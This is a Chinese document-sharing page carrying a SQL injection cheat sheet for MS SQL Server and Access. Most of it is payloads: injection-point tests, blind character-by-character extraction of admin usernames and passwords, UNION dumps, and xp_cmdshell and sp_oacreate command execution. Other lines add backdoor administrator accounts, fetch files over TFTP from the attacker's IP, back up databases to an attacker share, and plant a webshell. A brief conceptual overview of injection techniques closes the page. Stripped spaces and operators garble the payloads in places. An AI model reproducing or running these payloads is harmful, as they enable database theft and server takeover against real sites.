最新整理SQL注入语句标准语法要点是怎样的.docx

上传人:b****6 文档编号:6089264 上传时间:2023-01-03 格式:DOCX 页数:7 大小:19.31KB
下载 相关 举报
最新整理SQL注入语句标准语法要点是怎样的.docx_第1页
第1页 / 共7页
最新整理SQL注入语句标准语法要点是怎样的.docx_第2页
第2页 / 共7页
最新整理SQL注入语句标准语法要点是怎样的.docx_第3页
第3页 / 共7页
最新整理SQL注入语句标准语法要点是怎样的.docx_第4页
第4页 / 共7页
最新整理SQL注入语句标准语法要点是怎样的.docx_第5页
第5页 / 共7页
点击查看更多>>
下载资源
资源描述

最新整理SQL注入语句标准语法要点是怎样的.docx

《最新整理SQL注入语句标准语法要点是怎样的.docx》由会员分享,可在线阅读,更多相关《最新整理SQL注入语句标准语法要点是怎样的.docx(7页珍藏版)》请在冰豆网上搜索。

最新整理SQL注入语句标准语法要点是怎样的.docx

最新整理SQL注入语句标准语法要点是怎样的

SQL注入语句标准语法要点是怎样的

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

很多情况下由于程序员的安全意识薄弱或基本功不足就容易导致sql注入安全问题,建议大家多看一下网上的安全文章,最好的防范就是先学会攻击,下面一起看看要点!

方法技巧

1.判断有无注入点

;and1=1and1=2

2.猜表一般的表的名称无非是adminadminuseruserpasspassword等..

and0(selectcount(*)from*)

and0(selectcount(*)fromadmin)---判断是否存在admin这张表

3.猜帐号数目如果遇到0返回正确页面1返回错误页面说明帐号数目就是1个

and0(selectcount(*)fromadmin)

and1(selectcount(*)fromadmin)

4.猜解字段名称在len()括号里面加上我们想到的字段名称.

and1=(selectcount(*)fromadminwherelen(*)0)--

and1=(selectcount(*)fromadminwherelen(用户字段名称name)0)

and1=(selectcount(*)fromadminwherelen(密码字段名称password)0)

5.猜解各个字段的长度猜解长度就是把0变换直到返回正确页面为止

and1=(selectcount(*)fromadminwherelen(*)0)

and1=(selectcount(*)fromadminwherelen(name)6)错误

and1=(selectcount(*)fromadminwherelen(name)5)正确长度是6

and1=(selectcount(*)fromadminwherelen(name)=6)正确

and1=(selectcount(*)fromadminwherelen(password)11)正确

and1=(selectcount(*)fromadminwherelen(password)12)错误长度是12

and1=(selectcount(*)fromadminwherelen(password)=12)正确

6.猜解字符

and1=(selectcount(*)fromadminwhereleft(name,1)=a)---猜解用户帐号的第一位

and1=(selectcount(*)fromadminwhereleft(name,2)=ab)---猜解用户帐号的第二位

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

and1=(selecttop1count(*)fromAdminwhereAsc(mid(pass,5,1))=51)--

这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

groupbyusers.idhaving1=1--

groupbyusers.id,users.username,users.password,users.privshaving1=1--

;insertintousersvalues(666,attacker,foobar,0xffff)--

UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=logintable-

UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=logintableWHERECOLUMN_NAMENOTIN(login_id)-

UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=logintableWHERECOLUMN_NAMENOTIN(login_id,login_name)-

UNIONSELECTTOP1login_nameFROMlogintable-

UNIONSELECTTOP1passwordFROMlogintablewherelogin_name=Rahul--

看服务器打的补丁=出错了打了SP4补丁

and1=(select@@VERSION)--

看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。

and1=(SELECTIS_SRVROLEMEMBER(sysadmin))--

判断连接数据库帐号。

(采用SA账号连接返回正常=证明了连接账号是SA)

andsa=(SELECTSystem_user)--

anduser_name()=dbo--

and0(selectuser_name()--

看xp_cmdshell是否删除

and1=(SELECTcount(*)FROMmaster.dbo.sysobjectsWHERExtype=XANDname=xp_cmdshell)--

xp_cmdshell被删除,恢复,支持绝对路径的恢复

;EXECmaster.dbo.sp_addextendedprocxp_cmdshell,xplog70.dll--

;EXECmaster.dbo.sp_addextendedprocxp_cmdshell,c:

\inetpub\wwwroot\xplog70.dll--

反向PING自己实验

;usemaster;declare@sint;execsp_oacreatewscript.shell,@sout;execsp_oamethod@s,run,NULL,cmd.exe/cping192.168.0.1;--

加帐号

;DECLARE@shellINTEXECSP_OACREATEwscript.shell,@shellOUTPUTEXECSP_OAMETHOD@shell,run,null,C:

\WINNT\system32\cmd.exe/cnetuserjiaoniang$1866574/add--

创建一个虚拟目录E盘:

;declare@ointexecsp_oacreatewscript.shell,@ooutexecsp_oamethod@o,run,NULL,cscript.exec:

\inetpub\wwwroot\mkwebdir.vbs-w默认Web站点-ve,e:

\--

访问属性:

(配合写入一个webshell)

declare@ointexecsp_oacreatewscript.shell,@ooutexecsp_oamethod@o,run,NULL,cscript.exec:

\inetpub\wwwroot\chaccess.vbs-aw3svc/1/ROOT/e+browse

爆库特殊技巧:

:

%5c=\或者把/和\修改%5提交

and0(selecttop1pathsfromnewtable)--

得到库名(从1到5都是系统的id,6以上才可以判断)

and1=(selectnamefrommaster.dbo.sysdatabaseswheredbid=7)--

and0(selectcount(*)frommaster.dbo.sysdatabaseswherename1anddbid=6)

依次提交dbid=7,8,9....得到更多的数据库名

and0(selecttop1namefrombbs.dbo.sysobjectswherextype=U)暴到一个表假设为admin

and0(selecttop1namefrombbs.dbo.sysobjectswherextype=Uandnamenotin(Admin))来得到其他的表。

and0(selectcount(*)frombbs.dbo.sysobjectswherextype=Uandname=admin

anduid(str(id)))暴到UID的数值假设为18779569uid=id

and0(selecttop1namefrombbs.dbo.syscolumnswhereid=18779569)得到一个admin的一个字段,假设为user_id

and0(selecttop1namefrombbs.dbo.syscolumnswhereid=18779569andnamenotin

(id,...))来暴出其他的字段

and0(selectuser_idfromBBS.dbo.adminwhereusername1)可以得到用户名

依次可以得到密码。

假设存在user_idusername,password等字段

and0(selectcount(*)frommaster.dbo.sysdatabaseswherename1anddbid=6)

and0(selecttop1namefrombbs.dbo.sysobjectswherextype=U)得到表名

and0(selecttop1namefrombbs.dbo.sysobjectswherextype=Uandnamenotin(Address))

and0(selectcount(*)frombbs.dbo.sysobjectswherextype=Uandname=adminanduid(str(id)))判断id值

and0(selecttop1namefromBBS.dbo.syscolumnswhereid=773577794)所有字段

?

id=-1unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,*fromadmin

?

id=-1unionselect1,2,3,4,5,6,7,8,*,9,10,11,12,13fromadmin(union,access也好用)

得到WEB路径

;createtable[dbo].[swap]([swappass][char](255));--

and(selecttop1swappassfromswap)=1--

;CREATETABLEnewtable(idintIDENTITY(1,1),pathsvarchar(500))Declare@testvarchar(20)execmaster..xp_regread@rootkey=HKEY_LOCAL_MACHINE,@key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\VirtualRoots\,@value_name=/,values=@testOUTPUTinsertintopaths(path)values(@test)--

;useku1;--

;createtablecmd(strimage);--建立image类型的表cmd

存在xp_cmdshell的测试过程:

;execmaster..xp_cmdshelldir

;execmaster.dbo.sp_addloginjiaoniang$;--加SQL帐号

;execmaster.dbo.sp_passwordnull,jiaoniang$,1866574;--

;execmaster.dbo.sp_addsrvrolememberjiaoniang$sysadmin;--

;execmaster.dbo.xp_cmdshellnetuserjiaoniang$1866574/workstations:

*/times:

all/passwordchg:

yes/passwordreq:

yes/active:

yes/add;--

;execmaster.dbo.xp_cmdshellnetlocalgroupadministratorsjiaoniang$/add;--

execmaster..xp_servicecontrolstart,schedule启动服务

execmaster..xp_servicecontrolstart,server

;DECLARE@shellINTEXECSP_OACREATEwscript.shell,@shellOUTPUTEXECSP_OAMETHOD@shell,run,null,C:

\WINNT\system32\cmd.exe/cnetuserjiaoniang$1866574/add

;DECLARE@shellINTEXECSP_OACREATEwscript.shell,@shellOUTPUTEXECSP_OAMETHOD@shell,run,null,C:

\WINNT\system32\cmd.exe/cnetlocalgroupadministratorsjiaoniang$/add

;execmaster..xp_cmdshelltftp-iyouipgetfile.exe--利用TFTP上传文件

;declare@asysnameset@a=xp_+cmdshellexec@adirc:

\

;declare@asysnameset@a=xp+_cm+dshellexec@adirc:

\

;declare@a;set@a=db_name();backupdatabase@atodisk=你的IP你的共享目录bak.dat

如果被限制则可以。

select*fromopenrowset(sqloledb,server;sa;,selectOK!

execmaster.dbo.sp_addloginhax)

查询构造:

SELECT*FROMnewsWHEREid=...ANDtopic=...AND.....

adminand1=(selectcount(*)from[user]whereusername=victimandright(left(userpass,01),1)=1)anduserpass

select123;--

;usemaster;--

:

aornamelikefff%;--显示有一个叫ffff的用户哈。

and1(selectcount(email)from[user]);--

;update[users]setemail=(selecttop1namefromsysobjectswherextype=uandstatus0)wherename=ffff;--

;update[users]setemail=(selecttop1idfromsysobjectswherextype=uandname=ad)wherename=ffff;--

;update[users]setemail=(selecttop1namefromsysobjectswherextype=uandid581577110)wherename=ffff;--

;update[users]setemail=(selecttop1count(id)frompassword)wherename=ffff;--

;update[users]setemail=(selecttop1pwdfrompasswordwhereid=2)wherename=ffff;--

;update[users]setemail=(selecttop1namefrompasswordwhereid=2)wherename=ffff;--

上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。

通过查看ffff的用户资料可得第一个用表叫ad

然后根据表名ad得到这个表的ID得到第二个表的名字

insertintousersvalues(666,char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),0xffff)--

insertintousersvalues(667,123,123,0xffff)--

insertintousersvalues(123,admin--,password,0xffff)--

;anduser0

;and(selectcount(*)fromsysobjects)0

;and(selectcount(*)frommysysobjects)0//为access数据库

枚举出数据表名

;updateaaasetaaa=(selecttop1namefromsysobjectswherextype=uandstatus0);--

这是将第一个表名更新到aaa的字段处。

读出第一个表,第二个表可以这样读出来(在条件后加上andname刚才得到的表名)。

;updateaaasetaaa=(selecttop1namefromsysobjectswherextype=uandstatus0andnamevote);--

然后id=1552andexists(select*fromaaawhereaaa5)

读出第二个表,一个个的读出,直到没有为止。

读字段是这样:

;updateaaasetaaa=(selecttop1col_name(object_id(表名),1));--

然后id=152andexists(select*fromaaawhereaaa5)出错,得到字段名

;updateaaasetaaa=(selecttop1col_name(object_id(表名),2));--

然后id=152andexists(select*fromaaawhereaaa5)出错,得到字段名

[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]

update表名set字段=(selecttop1namefromsysobjectswherextype=uandstatus0[andname你得到的表名查出一个加一个])[where条件]selecttop1namefromsysobjectswherextype=uandstatus0andnamenotin(table1,table2,)

通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]

update表名set字段=(selecttop1col_name(object_id(要查询的数据表名),字段列如:

1)[where条件]

补充:

SQL注入技术

强制产生错误

对数据库类型、版本等信息进行识别是此类型攻击的动机所在。

它的目的是收集数据库的类型、结构等信息为其他类型的攻击做准备,可谓是攻击的一个预备步骤。

利用应用程序服务器返回的默认错误信息而取得漏洞信息。

采用非主流通道技术

除HTTP响应外,能通过通道获取数据,然而,通道大都依赖与数据库支持的功能而存在,所以这项技术不完全适用于所有的数据库平台。

SQL注入的非主流通道主要有E-mail、DNS以及数据库连接,基本思想为:

先对SQL查询打包,然后借助非主流通道将信息反馈至攻击者。

使用特殊的字符

不同的SQL数据库有许多不同是特殊字符和变量,通过某些配置不安全或过滤不细致的应用系统能够取得某些有用的信息,从而对进一步攻击提供方向。

使用条件语句

此方式具体可分为基于内容、基于时间、基于错误三种形式。

一般在经过常规访问后加上条件语句,根据信息反馈来判定被攻击的目标。

利用存储过程

通过某些标准存储过程,数据库厂商对数据库的功能进行扩展的同时,系统也可与进行交互。

部分存储过程可以让用户自行定义。

通过其他类型的攻击收集到数据库的类型、结构等信息后,便能够建构执行存储过程的命令。

这种攻击类型往往能达到远程命令执行、特权扩张、拒绝服务的目的。

避开输入过滤技术

虽然对于通常的编码都可利用某些过滤技术进行SQL注入防范,但是鉴于此种情况下也有许多方法避开过滤,一般可达到此目的的技术手段包括SQL注释和动态查询的使用,利用截断,URL编码与空字节的使用,大小写变种的使用以及嵌套剥离后的表达式等等。

借助于此些手段,输入构思后的查询可以避开输入过滤,从而攻击者能获得想要的查询结果。

推断技术

能够明确数据库模式、提取数据以及识别可注入参数。

此种方式的攻击通过网站对用户输入的反馈信息,对可注入参数、数据库模式推断,这种攻击构造的查询执行后获得的答案只有真、假两种。

基于推断的注入方式主要分为时间测定注入与盲注入两种。

前者是在注入语句里加入语句诸如waitfor100,按照此查询结果出现的时间对注入能否成功和数据值范围的推导进行判定;后者主要是andl=l、andl=2两种经典注入方法。

这些方式均是对一些间接关联且能取得回应的问题进行提问,进而通过响应信息推断出想要信息,然后进行攻击。

 

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 自然科学

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1